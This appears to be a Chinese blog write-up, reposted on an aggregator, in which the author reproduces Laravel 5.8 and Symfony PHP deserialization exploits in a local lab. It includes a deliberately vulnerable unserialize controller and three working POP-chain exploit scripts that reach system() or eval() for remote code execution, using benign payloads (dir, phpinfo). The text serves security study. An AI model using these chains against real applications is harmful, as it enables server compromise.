laravel5.8 反序列化漏洞复现

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了laravel5.8 反序列化漏洞复现相关的知识,希望对你有一定的参考价值。

目录:

1. 前言

依旧跟着feng师傅学吧,

feng师傅的链接

还是再github上下载源码:laravel5.8。往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。
如果提示 Allowed memory size of bytes exhausted,参考这篇文章:运行 composer update,提示 Allowed memory size of bytes exhausted

如果想我这里一样:就报个error。。(弄好之后没那个报错页面了。,,)
报错,那就找错,纠错,,首先去看日志:D:\\phpstudy_pro\\WWW\\fuxian\\laravel-5.8\\storage\\logs.然后搜一搜就好。

我的爆错就是这个,然后这篇文章就解决了解决了:Laravel框架运行出错提示RuntimeException No application encryption key has been specified.解决方法

在route.php中写一个路由,再创建一个控制器:

Route::get('/unserialize',"UnserializeController@uns");

控制器:

<?php

namespace App\\Http\\Controllers;

class UnserializeController extends Controller

    public function uns()
        if(isset($_GET['c']))
            unserialize($_GET['c']);
        else
            highlight_file(__FILE__);
        
        return "uns";
    

然后cmd进入当前的项目的根目录,输入:

php artisan serve

启动laravel框架,和tp一样,会在本地启动,然后网页访问成功。

POC1

__destruct是万恶之源,这次的__destructPendingBroadcast.php__destruct()


this->events 和 this->enent 都可控,
单个参数的 dispatch() ,可控有没有哪个类的dispatch可以利用,实在不行的话就找__call()了。

function dispatch\\(\\$\\w+\\)

经过搜索,发现Dispatcher类的dispatch()很好用:
先直接看一些return的 内容,
跟进一下dispatchToQueue()方法:

两个event可控,然后传入的command也可控,则call_user_func()的两个参数也都可控,

$command要是一个类,并且该类的connection属性是命令执行的参数,
然后$this->queueResolver我们是可控的,

那我们就回头看一下进入的if条件是什么:
跟进一下commandShouldBeQueued()

需要$command是一个实现了ShouldQueue接口的对象,全局搜索一下,还挺多的,随便找一个用就可以了,这里我用的是QueuedCommand类。

这样就if判断成功,进入dispatchToQueue()

$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);

但别忘了,我们之前说过的哪个,call_user_func()函数的参数需要是$connect->conenction啊。但是我们这个没有connection属性啊,。。这个没事到时候反序列还给他加进去进行了。

POC如下:

<?php
namespace Illuminate\\Broadcasting

    use Illuminate\\Bus\\Dispatcher;
    use Illuminate\\Foundation\\Console\\QueuedCommand;
    class PendingBroadcast
    
        protected $events;
        protected $event;

        public function __construct()
        
            $this->events = new Dispatcher();
            $this->event = new QueuedCommand();
        

    


namespace Illuminate\\Foundation\\Console

    class QueuedCommand
    
        public $connection = 'dir';
    


namespace Illuminate\\Bus


    class Dispatcher
    
        protected $queueResolver;

        public function __construct()
        
            $this->queueResolver='system';
        

    


namespace


    use Illuminate\\Broadcasting\\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));


报错了。其实有想到过。因为:queueResoler不能简简单单的就是一个system就对了。

其实也知道哪里的错误,我们也打一下断电看一看吧,
是这里的原因,结果是能够执行的。
但是不是这个 Queue 的接口,所以抛出错误,,,

有趣的是,,,我debug的时候,一半的时候停止了。然后就能够看到报错了。这样,我们用burp抓一下包,应该就能够看到了。

嗯嗯,果然就看到了。

调用任意类的方法:

既然可以调用任何的函数,参数也可控,可以尝试以下寻找可用的类的方法。就是call_user_func()来调用eval就是了。
全局搜索eval,发现EvalLoader类的load方法:


这个这个,

$definition 是 MockDefinition类的实例

哦哦哦,是这个意思啊,
然后跟进 getCode()

code可控,就是$definition的一个属性,

再看看绕过上面的哪个if函数,跟进getClassName():


全都可控,直接写POC得了.:

遇到的困难点:

这个queueResolver需要是 类EvalLoader的load()方法,但是我不会表示方法啊,
然后feng师傅是这样表示的:

$this->queueResolver = [new EvalLoader(),'load']

tqltql,也是我菜,记得以前做反序列化题目的时候, 也是这样表示过一个类的方法的,但是忘记了.

我后面应该给$connection传入什么值也想不明白: load()的参数需要是一个 MockDefinition 类的实例,那就直接来吧,

POC:
我自己写的和feng师傅的差不多,这里直接用feng师傅的了.

<?php
namespace Illuminate\\Broadcasting

    use Illuminate\\Bus\\Dispatcher;
    use Illuminate\\Foundation\\Console\\QueuedCommand;

    class PendingBroadcast
    
        protected $events;
        protected $event;
        public function __construct()
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        
    

namespace Illuminate\\Foundation\\Console

    use Mockery\\Generator\\MockDefinition;

    class QueuedCommand
    
        public $connection;
        public function __construct()
            $this->connection=new MockDefinition();
        
    

namespace Illuminate\\Bus

    use Mockery\\Loader\\EvalLoader;

    class Dispatcher
    
        protected $queueResolver;
        public function __construct()
            $this->queueResolver=[new EvalLoader(),'load'];
        
    

namespace Mockery\\Loader
    class EvalLoader
    

    

namespace Mockery\\Generator
    class MockDefinition
    
        protected $config;
        protected $code;
        public function __construct()
        
            $this->code="<?php phpinfo();exit()?>";
            $this->config=new MockConfiguration();
        
    
    class MockConfiguration
    
        protected $name="feng";
    


namespace

    use Illuminate\\Broadcasting\\PendingBroadcast;
    echo urlencode(serialize(new PendingBroadcast()));

这个POC就更加舒服了,因为利用的是eval,可以任意执行代码,不仅仅局限于单参数的函数了。而且注意这个:$this->code="<?php phpinfo();exit()?>"; . …

加上了exit(),提前结束了进程,这样调用完call_user_func,后面的代码就不会执行,也就不会抛出异常了,更加好了。

小疑问(已经解决)

看这个PCO是有疑问的:’

疑问11:

这个eval这里,我们是要使得这 if 判断 错误的 但是,我们后买你操作了那么多的 name 和 config ,不就使得它 得到了 返回值name了吗?

对的,对的.这时候,你看feng师傅里面的POC,返回的name是 feng. 显然不存在 feng 这里类 的, 所以不存在类名,所以 if 判断失败,执行后面的eval函数,

疑问2:
call_user_func()中的$connect->connection没了,不是命令了,那么就执行不了call_user_func()了呀,那为什么最后还RCE了呢?

因为我们后来用的是eval,那么call_user_func就是 无参函数了.所以后面的connection是空就行了…所以也就不用comand了.,

POC2

这条链laravel默认是没有的,存在于symfony组件中,之前进行的操作:

往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。

就安装了这个组件了。
起点在TagAwareAdapter类的__destruct()方法中,不过我一看怎么上面还有个__wakeup

可能是symfony版本的问题?为了复现,先把这个__wakeup()删掉。(我还以为要用哪个属性大于真实属性的个数这个CVE呢,,,应该早就修复了吧????)

跟进一下commit()

再跟进一下invalidateTags()


    /**
     * @inheritdoc
     */
    public function invalidateTags(array $tags)
    
        $ok = true;
        $tagsByKey = [];
        $invalidatedTags = [];
        foreach ($tags as $tag) 
            CacheItem::validateKey($tag);
            $invalidatedTags[$tag] = 0;
        

        if ($this->deferred) 
            $items = $this->deferred;
            foreach ($items as $key => $item) 
                if (!$this->pool->saveDeferred($item)) 
                    unset($this->deferred[$key]);
                    $ok = false;
                
            

            $f = $this->getTagsByKey;
            $tagsByKey = $f($items);
            $this->deferred = [];
        

        $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
        $f = $this->createCacheItem;

        foreach ($tagsByKey as $key => $tags) 
            $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
        
        $ok = $this->pool->commit() && $ok;

        if ($invalidatedTags) 
            $f = $this->invalidateTags;
            $ok = $f($this->tags, $invalidatedTags) && $ok;
        

        return $ok;
    

注意到this->deferred可控:

找了以下$this->pool,发现它是在__construct()里出现的,类似于这样:(这个是feng师傅找的,,,我没有找到 啊。。。)

<?php
class test

    public $a;
    public $b;
    public function __construct()
        $this->a=1;
        $this->b=2;
        $this->c=3;
    

$a=new test();
var_dump($a);

动态的声明了属性(?????啊这,,就是后面调用个方法再给实例增加属性呗,,我还以为啥来着,,)。考虑到这里pool可以随意声明,那么找一个合适的类,它的saveDeferred方法可以利用。

经过寻找,发现ProxyAdapter类的saveDeferred可以利用:
这个和上面那个一样,意思是 这个接口的一个实例化,,不是的话,就会报错的。

跟进doSave()


利用点就在这里:


相当于使用一个双参数的函数,而system正好最多是2个参数:

POC:

<?php
namespace Symfony\\Component\\Cache 
    class CacheItem
        protected $expiry;
        private $defaultLifetime;
        protected $poolHash;
        protected $innerItem;

        public function __construct()
            $this->expiry = null;
            $this->defaultLifetime = 10; # 比 0 大就行
            $this->poolHash = 100;
            $this->innerItem = 'dir' ; # 这个是RCE的第一个参数 , 这个不会,看的feng师傅的,
        
    




namespace Symfony\\Component\\Cache\\Adapter 
    use Symfony\\Component\\Cache\\CacheItem;

    class ProxyAdapter
        private $poolHash;
        private $setInnerItem;

        public function __construct()
            $this->poolHash = 100; # 这个要和上面的那个poolhash相等。
            $this->setInnerItem = 'system';
        
    

    class TagAwareAdapter
        public $pool;
        private $deferred ;

        public function __construct()
            $this->deferred  = array('hello'=>new CacheItem());
            $this->pool = new ProxyAdapter();
        
    


namespace 
    use Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter;
    echo (urlencode(serialize(new TagAwareAdapter())));

不懂的,奇怪的地方

debug能de出来,但是还是不明白,system('dir',array(xx,xxxx,xxx,xx))。这样也行的吗??我后面的$item都是个大数组了。竟然还能够执行system命令,,,好奇怪啊

晓得了,其实feng师傅在文章开头哪里就说了。会存在后面的这个数组里面,但是当时我没看明白, 这次自己过一遍之后才明白的,也就是我们的system(‘dir’)之后,把结果放到了$item这个数字里面去了。


这里:还没有执行system命令的时候,$item数字还是那个类实例化,然后强转数组之后的形态,。然后我们再debug一下:就没了,就存放结果了应该,然后后面就是报错的了。

出了出了,

F12一样能出。

稍微解释一下:(嘿嘿嘿,自己写的POC,没看feng师傅滴~,就那个dir看了,不知道system传入两个参数的时候该传入什么东西)
但是我们的$item是这个类实例,不满足条件啊,没事往下看,


它继承自这个接口,

然后这个接口又继承自所要求的接口,就对上了。

3. 学到的

  1. 当我们所要构造的类中没有我们需要的属性的时候,比如:$connet->connection原始类中没有,但是我们反序列化过程中还需要,那没事,我们直接定义一个public $connection就好了。

  2. 有时候抛出的报错会把我们的RCE给掩盖住,这个时候可以burp抓包就能看到。如果是本地调试的话,debug的时候,中间结束的时候,也能看到。

  3. 有时候我们想让一个 if 判断失败,我们不能够直接粗暴地给他随便赋一个值,然后让他报错,我们要调通它,要正常地判断错误,而不是报错,报错是不行的.

  4. PHP的动态声明属性???。。垃圾,,就是后面用一个方法操作一下属性 而已

  5. system()执行两个参数的命令,RCE

  6. 注意,如果类中没有我们想要的属性的话,直接自己弄上就行了。要求是类型要对,是什么的接口类,就什么东西,

以上是关于laravel5.8 反序列化漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

laravel5.8 反序列化漏洞复现

tomcat反序列化漏洞(cve-2016-8735)

yii2框架 反序列化漏洞复现

yii2框架 反序列化漏洞复现

yii2框架 反序列化漏洞复现

laravel5.7 反序列化漏洞复现